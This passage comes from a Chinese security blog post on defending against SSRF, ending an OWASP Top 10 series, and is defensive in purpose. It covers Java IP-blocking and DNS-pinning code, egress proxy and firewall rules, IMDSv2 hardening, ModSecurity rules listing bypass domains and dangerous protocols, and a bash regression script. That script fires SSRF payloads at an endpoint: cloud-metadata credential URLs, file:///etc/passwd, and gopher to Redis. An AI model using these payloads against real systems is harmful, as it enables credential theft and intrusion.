            if (b0 == 192 && b1 == 0) return true;
            // 198.18.0.0/15 (benchmark)
            if (b0 == 198 && (b1 == 18 || b1 == 19)) return true;
            // 224.0.0.0/4 (multicast)
            if ((b0 & 0xf0) == 224) return true;
            // 240.0.0.0/4 (reserved) + 255.255.255.255
            if ((b0 & 0xf0) == 240) return true;
        } else if (bytes.length == 16) {   // IPv6
            // ::1 loopback, :: unspecified
            if (addr.isLoopbackAddress() || addr.isAnyLocalAddress()) return true;
            // fc00::/7 unique local
            if ((bytes[0] & 0xfe) == (byte)0xfc) return true;
            // fe80::/10 link-local
            if (bytes[0] == (byte)0xfe && (bytes[1] & 0xc0) == 0x80) return true;
            // IPv4-mapped IPv6: ::ffff:a.b.c.d
            if (bytes[0] == 0 && bytes[1] == 0 && bytes[2] == 0 && bytes[3] == 0
                && bytes[4] == 0 && bytes[5] == 0 && bytes[6] == 0 && bytes[7] == 0
                && bytes[8] == 0 && bytes[9] == 0 && bytes[10] == (byte)0xff
                && bytes[11] == (byte)0xff) {
                // 提取内嵌的 IPv4 再检查一次
                byte[] v4 = Arrays.copyOfRange(bytes, 12, 16);
                try {
                    return isBlockedIp(InetAddress.getByAddress(v4));
                } catch (Exception e) {
                    return true;
                }
            }
        }
        return false;
    }

    /**
     * 解析后用 IP 直连,固定 Host 头(防 DNS Rebinding 的核心)
     */
    private String fetchWithPinnedIp(URL url, String ip, String originalHost) throws Exception {
        // 用 IP 重建 URL,但保留原始 Host 头(保证 TLS SNI 和虚拟主机正常)
        URL ipUrl = new URL(
            url.getProtocol(), ip, url.getPort(), url.getFile()
        );

        HttpURLConnection conn = (HttpURLConnection) ipUrl.openConnection();

        // 关键:显式设置 Host 头为原域名
        conn.setRequestProperty("Host", originalHost);

        // 关键:禁用重定向(防 302 绕过)
        conn.setInstanceFollowRedirects(false);

        // 设置超时(防 SSRF 用于端口扫描/DoS)
        conn.setConnectTimeout(3000);
        conn.setReadTimeout(5000);

        int status = conn.getResponseCode();
        // 手动检查重定向,且重定向目标也要重新走一遍完整校验
        if (status >= 300 && status < 400) {
            String location = conn.getHeaderField("Location");
            throw new SecurityException("不允许重定向,目标: " + location);
            // 如果需要支持重定向,应重新调用 fetch() 做完整校验,且限制跳转次数
        }

        // 限制响应大小(防 SSRF 用于读取大文件/DoS)
        return readLimited(conn.getInputStream(), 1024 * 1024);  // 最多 1MB
    }

    private boolean isDomainAllowed(String host) {
        // 精确匹配
        if (ALLOWED_DOMAINS.contains(host)) return true;
        // 子域名匹配(注意:只匹配白名单域名的子域,不是后缀匹配)
        for (String allowed : ALLOWED_DOMAINS) {
            if (host.equals(allowed) || host.endsWith("." + allowed)) {
                return true;
            }
        }
        return false;
    }
}

💡 踩坑提示(防 DNS Rebinding 的关键):光做"解析后校验 IP"是不够的 —— 因为校验时解析一次,请求时又解析一次,中间 DNS 记录可能已经变了(这就是 TOCTOU)。正确做法是:解析一次拿到 IP,然后用这个 IP 直接建连,同时把 Host 头设为原域名。这样 DNS 重绑定就无效了。

网络层:出网限制与统一出口代理

方案一:统一出口代理(最彻底)

java
/**
 * 所有对外请求必须走统一代理,在代理层做白名单和审计
 */
@Configuration
public class ProxyConfig {

    @Bean
    public RestTemplate secureRestTemplate() {
        SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();

        // 强制走内网代理
        Proxy proxy = new Proxy(Proxy.Type.HTTP,
            new InetSocketAddress("proxy.internal", 3128));
        factory.setProxy(proxy);

        factory.setConnectTimeout(3000);
        factory.setReadTimeout(5000);

        return new RestTemplate(factory);
    }
}
nginx
# 正向代理(Squid / Nginx)配置白名单 + 拒绝内网
# /etc/squid/squid.conf

# 只允许访问白名单域名
acl allowed_domains dstdomain .example.com .cdn.example.com
acl internal_dst dst 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 127.0.0.0/8 169.254.0.0/16

# 规则顺序很重要
http_access deny internal_dst          # 先拒绝所有内网目标
http_access allow allowed_domains      # 再允许白名单
http_access deny all                   # 其余全部拒绝

# 只允许 HTTP/HTTPS
acl allowed_ports port 80 443
http_access deny !allowed_ports

# 日志(审计用)
access_log /var/log/squid/access.log

方案二:网络隔离(出网限制)

bash
# 应用服务器出网限制(iptables)
# 默认允许已建立的连接
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 禁止访问云元数据(最高优先级)
iptables -I OUTPUT -d 169.254.169.254 -j DROP
iptables -I OUTPUT -d 169.254.0.0/16 -j DROP

# 禁止访问内网其他网段(按需)
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP

# 只允许访问必要的外部服务(按 IP 或域名解析后的 IP)
# 实操中建议用安全组来做,更好管理

# 保存规则
iptables-save > /etc/iptables/rules.v4

云安全组配置

应用服务器出方向规则:
  优先级 1: 拒绝 169.254.169.254/32  (云元数据)
  优先级 2: 拒绝 10.0.0.0/8         (内网,按需)
  优先级 3: 拒绝 172.16.0.0/12
  优先级 4: 允许 0.0.0.0/0 出方向(仅 HTTP/HTTPS,按需收紧)

⚠️ 注意: 如果有服务确实需要访问云元数据(如 SDK 获取临时凭证),
   则不能一刀切禁止,需要用 IMDSv2 + 限制。

IMDSv2 与元数据加固

AWS IMDSv2

bash
# IMDSv2 要求先发 PUT 请求获取 token,再用 token 访问元数据
# 这样纯 GET 的 SSRF 就无法利用

# 强制实例只使用 IMDSv2
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-endpoint enabled

# 验证
aws ec2 describe-instance-metadata-options --instance-id i-1234567890abcdef0
# 期望: "HttpTokens": "required"
IMDSv2 为什么能防 SSRF:
  1. 必须先 PUT /latest/api/token 获取 token(SSRF 通常只能发 GET)
  2. 获取 token 时需要自定义请求头 X-aws-ec2-metadata-token-ttl-seconds
  3. 然后 GET 请求需要带 X-aws-ec2-metadata-token: <token> 头
  4. SSRF 无法自定义请求头(除非是支持 header 注入的复杂场景)

注意:如果 SSRF 支持完全控制请求(如 gopher:// 协议),仍可能绕过
     所以 IMDSv2 是缓解,不是根治

其他云平台的对应措施

平台措施
AWSIMDSv2(--http-tokens required
阿里云实例元数据访问模式设为"加固模式"
腾讯云使用 CAM 角色 + 限制元数据访问
GCP默认需要 Metadata-Flavor: Google 头(较安全)
Azure默认需要 Metadata: true 头(较安全)

WAF 规则(先观察后拦截)

apache
# ===== ModSecurity SSRF 防护规则 =====

# 规则 1: 检测内网 IP 与元数据地址(所有形式)
SecRule ARGS|ARGS_NAMES|REQUEST_BODY|XML:/* "@rx (?i)(?:127\.|0?10\.|0?172\.(?:1[6-9]|2\d|3[01])\.|0?192\.168\.|169\.254\.|100\.6[4-9]\.|(?:0x)?7f0{0,6}1|2130706433|0{0,3}\.0{0,3}\.0{0,3}\.0{0,3}|::1|\[::\]|localhost)" \
    "id:9010001,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'SSRF Attempt - Internal/Reserved IP',\
     tag:'OWASP-A10',\
     tag:'attack-ssrf',\
     severity:'CRITICAL'"

# 规则 2: 检测云元数据地址(单独强调,优先级最高)
SecRule ARGS|ARGS_NAMES|REQUEST_BODY "@rx (?i)(?:169\.254\.169\.254|metadata\.google\.internal|metadata\.goog|100\.100\.100\.200|fd00:ec2::254)" \
    "id:9010002,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'SSRF Attempt - Cloud Metadata Endpoint',\
     tag:'OWASP-A10',\
     severity:'CRITICAL'"

# 规则 3: 检测危险协议
SecRule ARGS|ARGS_NAMES|REQUEST_BODY "@rx (?i)^\s*(?:file|gopher|dict|ldap|ldaps|ftp|ftps|jar|netdoc|php|expect|data|glob|phar|ssh2|ogg|zlib|compress)\s*:(?://)?" \
    "id:9010003,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'SSRF Attempt - Dangerous Protocol',\
     tag:'OWASP-A10',\
     severity:'CRITICAL'"

# 规则 4: 检测 URL 中的 @ 符号混淆
SecRule ARGS|REQUEST_BODY "@rx (?i)^(?:https?|ftps?)://[^/]*@" \
    "id:9010004,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'SSRF Attempt - URL Userinfo Obfuscation',\
     tag:'OWASP-A10'"

# 规则 5: 检测常见的 SSRF 绕过域名
SecRule ARGS|REQUEST_BODY "@rx (?i)(?:localtest\.me|nip\.io|xip\.io|sslip\.io|burpcollaborator|interact\.sh|oastify|requestbin)" \
    "id:9010005,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'SSRF Attempt - Known Bypass Domain',\
     tag:'OWASP-A10'"

💡 踩坑提示:WAF 规则 1 里的正则很宽(匹配 10. 127. 等),可能误伤正常业务。比如用户提交的内容里含 "版本 10.2.3" 就可能被拦。上线前务必先用 DetectionOnly 模式跑一段时间,分析误报后再开拦截。

检测:出网日志是最好的告警源

yaml
# SSRF 检测规则

# 规则 1: 出网请求白名单违规
- id: ssrf-outbound-violation
  detection:
    source: proxy_log                  # 统一出口代理的日志
    condition: destination_not_in_whitelist
  action: [alert_soc, block]
  severity: high
  note: "应用在访问白名单外的地址,可能是 SSRF 被利用"

# 规则 2: 访问云元数据(无论成功失败都告警)
- id: metadata-access-attempt
  detection:
    source: proxy_log or firewall_log
    condition: destination == "169.254.169.254"
  action: [alert_soc, phone_call]
  severity: critical
  note: "有人在访问云元数据,极可能是 SSRF,立即处置"

# 规则 3: 内网横向扫描行为
- id: internal-port-scan
  detection:
    source: proxy_log
    condition: distinct_internal_destinations >= 20 in 300s (same source)
  action: [alert_soc, isolate_source]
  severity: critical

# 规则 4: 应用服务器异常出网
- id: anomalous-egress
  detection:
    source: flow_log
    condition: app_server_outbound_to_internal_segment
    exclude: [known_service_dependencies]
  action: [alert]
  severity: high
  note: "应用服务器访问了非预期的内网网段"

回归验证清单

bash
#!/usr/bin/env bash
# SSRF 修复回归验证
# 用法: bash verify_ssrf.sh https://target.com/api/fetch

ENDPOINT="$1"
PARAM="${2:-url}"
PASS=0; FAIL=0

test_blocked() {
  # test_blocked <目标URL> <说明>
  local target="$1" desc="$2"
  local code resp
  resp=$(curl -s --max-time 8 "$ENDPOINT?$PARAM=$target" 2>/dev/null)
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$ENDPOINT?$PARAM=$target" 2>/dev/null)

  # 判断是否被拦截:
  #   - 返回 403/400
  #   - 或响应中包含错误信息而非目标内容
  if [ "$code" = "403" ] || [ "$code" = "400" ]; then
    echo "[PASS] $desc ($target$code)"; PASS=$((PASS+1))
  elif echo "$resp" | grep -qiE "root:x:0:0|ami-id|security-credentials|AccessKeyId"; then
    echo "[FAIL] $desc —— 泄露了敏感内容!"; FAIL=$((FAIL+1))
    echo "       响应: $(echo "$resp" | head -c 150)"
  elif [ -z "$resp" ] || [ "$code" = "500" ]; then
    echo "[PASS] $desc ($target$code, 无内容返回)"; PASS=$((PASS+1))
  else
    echo "[WARN] $desc ($target$code),需人工确认"
    echo "       响应: $(echo "$resp" | head -c 150)"
  fi
}

echo "=========== 1. 云元数据(最高优先级)==========="
test_blocked "http://169.254.169.254/latest/meta-data/" "AWS/通用元数据"
test_blocked "http://169.254.169.254/latest/meta-data/iam/security-credentials/" "IAM 凭证"
test_blocked "http://169.254.169.254/computeMetadata/v1/" "GCP 元数据"
test_blocked "http://100.100.100.200/latest/meta-data/" "阿里云元数据(旧)"

echo
echo "=========== 2. 回环与内网地址 ==========="
test_blocked "http://127.0.0.1/" "IPv4 回环"
test_blocked "http://localhost/" "localhost"
test_blocked "http://[::1]/" "IPv6 回环"
test_blocked "http://2130706433/" "十进制 IP"
test_blocked "http://0x7F000001/" "十六进制 IP"
test_blocked "http://127.1/" "短格式"
test_blocked "http://0/" "0.0.0.0"
test_blocked "http://10.0.0.1/" "内网 10 段"
test_blocked "http://192.168.1.1/" "内网 192.168 段"
test_blocked "http://172.16.0.1/" "内网 172.16 段"

echo
echo "=========== 3. 危险协议 ==========="
test_blocked "file:///etc/passwd" "file 协议"
test_blocked "file:///proc/self/environ" "file 读取环境变量"
test_blocked "gopher://127.0.0.1:6379/_INFO" "gopher 协议"
test_blocked "dict://127.0.0.1:6379/info" "dict 协议"
test_blocked "ldap://127.0.0.1/" "ldap 协议"
test_blocked "ftp://127.0.0.1/" "ftp 协议"

echo
echo "=========== 4. 绕过手法 ==========="
test_blocked "http://localtest.me/" "localtest.me 绕过域名"
test_blocked "http://127.0.0.1.nip.io/" "nip.io 绕过域名"
test_blocked "http://allowed.com@127.0.0.1/" "@ 符号混淆"
test_blocked "http://127.0.0.1#allowed.com" "# 片段混淆"
test_blocked "http://①②⑦.0.0.1/" "Unicode 数字"

echo
echo "=========== 5. 重定向绕过 ==========="
# 需要一个能发起 302 跳转的测试服务
if [ -n "${REDIRECT_SERVER:-}" ]; then
  test_blocked "${REDIRECT_SERVER}/to-metadata" "302 跳转到元数据"
else
  echo "[SKIP] 未设置 REDIRECT_SERVER"
  echo "      建议: 自建一个 302 跳转到 169.254.169.254 的服务再测"
fi

echo
echo "=========== 6. 正常功能验证(确保没有误伤)==========="
if [ -n "${ALLOWED_URL:-}" ]; then
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$ENDPOINT?$PARAM=$ALLOWED_URL")
  [ "$code" = "200" ] \
    && (echo "[PASS] 白名单 URL 正常访问 ($ALLOWED_URL → 200)"; PASS=$((PASS+1))) \
    || (echo "[FAIL] 白名单 URL 被误伤 ($ALLOWED_URL$code)"; FAIL=$((FAIL+1)))
else
  echo "[SKIP] 未设置 ALLOWED_URL"
fi

echo
echo "----------------------------------------"
echo "通过: $PASS   失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"

验证清单

  • [ ] 云元数据地址(169.254.169.254)已禁止访问
  • [ ] 回环地址(所有表示法)已禁止
  • [ ] 内网网段(10/172.16/192.168)已禁止
  • [ ] 保留网段(0.0.0.0/8、100.64/10、169.254/16 等)已禁止
  • [ ] IPv6 回环与 ULA 已禁止
  • [ ] 仅允许白名单协议(建议只 HTTPS)
  • [ ] 仅允许白名单端口(建议只 443)
  • [ ] 域名走白名单(精确匹配 + 子域匹配)
  • [ ] DNS 解析一次后用 IP 直连(防 DNS Rebinding)
  • [ ] 禁用重定向(或重定向目标重新校验)
  • [ ] 设置了连接/读取超时
  • [ ] 限制了响应大小
  • [ ] 网络层出网限制(iptables / 安全组)
  • [ ] 云元数据启用 IMDSv2 / 加固模式
  • [ ] WAF 配置了 SSRF 规则(先观察后拦截)
  • [ ] 出网代理日志接入监控,异常目标告警

最后:借用服务端身份,等于交出服务端身份

SSRF 是十项里**"位置决定危害"**特征最明显的一项 —— 同样的漏洞代码,部署在传统 IDC 可能只是"能探测内网",部署在云上就是"整个云账号沦陷"。

核心防护思路,按可靠性排序:

  1. 白名单域名 —— 唯一可靠的方案。黑名单有几十种绕过方式,别用。
  2. 解析一次 + IP 直连 + 固定 Host 头 —— 防 DNS Rebinding 的关键,很多人只做了"解析后校验"却没做"IP 直连",等于白做。
  3. 禁用重定向 —— 302 绕过是最实用的绕过手法之一。
  4. 网络层出网限制 —— 即使应用层有漏洞,网络层还能兜住(尤其是禁 169.254.169.254)。
  5. IMDSv2 / 元数据加固模式 —— 云上必做,成本极低。

几个实战经验:

  • 找 SSRF 不要只盯着"URL 输入框" —— 图片远程加载、Webhook、PDF 导出、SSO 元数据,这些才是重灾区。
  • 用 DNSLog 确认"请求真的发出去了" —— 这是唯一可靠的判据。
  • 云上环境,SSRF 一律按"严重"定级 —— 因为元数据泄露的后果不可控。
  • gopher:// 是 SSRF 的放大器 —— 从"能发请求"升级到"能打内网服务",危害差一个量级。

最后一句:服务端发出的请求,携带的是服务端的网络位置和身份。把发起请求的能力交给用户,就等于把服务端的身份借给了用户。


系列总结:OWASP Top 10 2021 全榜单回顾

十篇写完,回头看这十项,其实可以归纳成三类问题:

第一类:信任问题(占了一半)

  • A01 失效的访问控制 —— 信任了"用户只会访问自己的东西"
  • A03 注入 —— 信任了"用户输入只是数据"
  • A07 认证失败 —— 信任了"报上名字的就是本人"
  • A08 完整性失败 —— 信任了"收到的东西没被换过"
  • A10 SSRF —— 信任了"用户给的 URL 是安全的"

第二类:配置与资产管理问题

  • A02 加密失败 —— 该加密的没加密 / 加密方式错了
  • A05 安全配置错误 —— 系统本身没毛病,配置出了毛病
  • A06 过时组件 —— 代码没错,依赖有洞
  • A09 日志监控失败 —— 出事了不知道

第三类:设计问题

  • A04 不安全的设计 —— 每个零件都合格,整体结构是错的

有意思的是,解决这十项的技术手段各不相同,但解决思路高度一致

技术手段本质
参数化查询分离数据与指令
默认拒绝 + 归属校验让"漏写"在架构上不可能
白名单(URL / 域名 / 标识符)只放行已知的,拒绝未知的
AEAD 加密 + 签名同时保证机密性与完整性
SBOM + CI 卡点把"靠人记"变成"靠流水线"
集中化日志 + 行为告警从"看不见"到"看得见"

一句话总结这十项:安全不是"加个 if 判断",是"让错误的写法在架构上写不出来,让错误的配置在流水线里发不出去,让已经发生的攻击能被看见"。


⚠️ 声明:本系列所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动